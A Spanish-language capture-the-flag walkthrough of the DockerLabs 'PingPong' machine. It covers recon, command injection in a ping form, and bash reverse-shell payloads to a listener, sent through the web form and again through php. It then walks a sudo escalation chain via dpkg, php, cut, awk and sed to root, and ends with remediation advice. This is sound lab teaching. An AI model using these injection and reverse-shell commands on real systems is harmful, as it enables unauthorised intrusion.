PingPong
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina PingPong, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.
El objetivo es guiar paso a paso el proceso de compromiso del sistema:
- Reconocimiento: Identificación de puertos y servicios expuestos.
- Explotación: Obtención de ejecución remota de comandos (RCE) mediante inyección en un campo vulnerable.
- Escalada de privilegios: Cadena de escaladas entre usuarios, abusando de configuraciones débiles de
sudo, hasta obtener acceso comoroot.
Todo el procedimiento se realizó en el entorno aislado de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | PingPong |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 23/06/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimimos y desplegamos la máquina:
unzip PingPong.zipsudo bash auto_deploy.sh PingPong.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p PingPong/{content,exploits,nmap,gobuster,scripts}cd PingPong1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos encontrados:
- 80/tcp — HTTP
- 443/tcp — HTTPS
- 5000/tcp — HTTP (servicio alterno)

1.3 Enumeración HTTP/HTTPS
Sección titulada «1.3 Enumeración HTTP/HTTPS»Realizamos escaneos con Feroxbuster para los tres puertos:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirectoryList2.3-medium.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Ruta importante encontrada:
- Servido por el puerto 5000 → Página que permite ejecutar pings desde la aplicación

Esta funcionalidad ejecuta un comando del sistema en base al input del usuario.
Paso 2 — Explotación (RCE y acceso inicial)
Sección titulada «Paso 2 — Explotación (RCE y acceso inicial)»La funcionalidad de ping no valida el input del usuario, lo que permite inyección de comandos.
Probamos:
IP; idY obtenemos ejecución remota:

Para obtener una reverse shell:
-
Activamos listener:
Ventana de terminal nc -nlvp 443 -
Enviamos payload:
Ventana de terminal ; bash -i >& /dev/tcp/172.17.0.1/443 0>&1
Se recibe la conexión como el usuario freddy:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»La máquina tiene un enfoque muy claro: cadena de escaladas mediante abuso de sudoers, subiendo usuario por usuario.
3.1 De freddy → bobby
Sección titulada «3.1 De freddy → bobby»Revisamos permisos:
sudo -l
El usuario puede ejecutar dpkg como bobby.
Abusamos el modo interactivo:
sudo -u bobby dpkg -l! /bin/shObtenemos shell:

3.2 De bobby → gladys
Sección titulada «3.2 De bobby → gladys»Revisamos permisos:
sudo -l
Se permite ejecutar php como gladys.
Primero intentamos:
sudo -u gladys php -r "system('/bin/bash');"Pero genera una shell inestable, así que enviamos una reverse shell:
sudo -u gladys php -r "system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/443 0>&1\"');"Y obtenemos acceso.
3.3 De gladys → chocolatito
Sección titulada «3.3 De gladys → chocolatito»Revisamos permisos:
sudo -l
Puede ejecutar cut como chocolatito para leer cualquier archivo que le pertenezca.
Encontramos /opt/chocolatitocontraseña.txt.
Lo leemos:
sudo -u chocolatito /usr/bin/cut -d "" -f1 "/opt/chocolatitocontraseña.txt"Obtenemos la contraseña → iniciamos sesión:
su chocolatito3.4 De chocolatito → theboss
Sección titulada «3.4 De chocolatito → theboss»Revisamos permisos:

Puede ejecutar awk como theboss:
sudo -u theboss awk 'BEGIN {system("/bin/bash")}'Acceso conseguido:

3.5 De theboss → root
Sección titulada «3.5 De theboss → root»Revisamos permisos:

Puede ejecutar sed como root.
Abusamos sed para ejecutar un comando:
sudo sed -n '1e exec sh 1>&0' /etc/hostsAcceso completo:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Inyección de comandos en el formulario de ping, sin validación de entrada.
- Exposición pública del servicio en el puerto 5000, ejecutando comandos del sistema.
- Mala configuración en sudoers, permitiendo escaladas sucesivas entre usuarios.
- Almacenamiento de credenciales en texto plano (
chocolatitocontraseña.txt). - Ausencia de contención entre usuarios, facilitando una cadena completa de escalada.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar sanitización estricta en inputs utilizados por comandos del sistema.
- Evitar exponer servicios administrativos o internos sin autenticación.
- Configurar correctamente
/etc/sudoersevitando asignar binarios interpretables. - Mover credenciales sensibles fuera de rutas accesibles por otros usuarios.
- Implementar monitoreo y alertas para detectar uso inusual de herramientas del sistema.